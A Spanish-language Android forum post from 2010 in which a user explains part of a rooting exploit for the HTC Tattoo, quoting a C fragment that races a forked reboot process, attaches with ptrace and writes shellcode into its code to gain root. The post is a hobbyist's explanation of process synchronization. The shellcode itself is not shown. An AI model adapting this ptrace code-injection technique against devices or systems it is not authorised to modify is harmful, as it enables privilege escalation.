Ver Mensaje Individual
  #355  
Viejo 21/02/10, 12:59:01
Array

[xs_avatar]
leon1984 leon1984 no está en línea
Usuario muy activo
 
Fecha de registro: ene 2010
Mensajes: 1,413
Modelo de smartphone: Htc Tattoo

No entremos en temas de código, q no se entera nadie, jajaja...
bueno el caso es q el wait está puesto, pero no programan nada claro.
para q te hagas una idea...

child = fork();
if(child == 0) {
execve("/system/bin/reboot",argv,envp);
}

else {
if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
char buf[256];
sprintf(buf, "/proc/%d/cmdline", child);
int fd = open(buf, O_RDONLY);
read(fd, buf, 2);
close(fd);
printf("%s",buf);
if(buf[0] == 'r') {
printf("[ WIN! %d\n", child);
fflush(stdout);
ptrace(PTRACE_GETREGS, child, NULL, &regs);
eip = regs.ARM_pc;
while (i < (70*4) ){
ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
printf("Wrote shellcode %x line %d\n", (shellcode + i), i);
i += 4;
eip += 4;
}
usleep(1);
printf("[ Overwritten 0x%x\n",regs.ARM_pc);
ptrace(PTRACE_SETREGS, child, NULL, &regs);
ptrace(PTRACE_DETACH, child, NULL,NULL);
wait(0);
}
}
}


Osea q el padre hace sus cosas pero espera al final puede darse el caso de q no se sincronicen porq... el hijo no termina... no tiene exit...o termina antes de tiempo, no se si me explico :s el execve, q yo no suelo usar por cierto, hace q el hijo mute y se convierta en otro proceso... pero ya no tenemos el control, el padre esperará pero puede q el hijo termine antes q el padre...

PD: Creo q si se apaga el telefono no funciona el su lo digo para si alguien lo quiere probar yo de momento voy a intentar no apagarlo jajaja.
__________________
Saludos

Leamos y comentemos...

AGRADECER ES GRATIS ;)

Última edición por leon1984 Día 21/02/10 a las 13:04:01.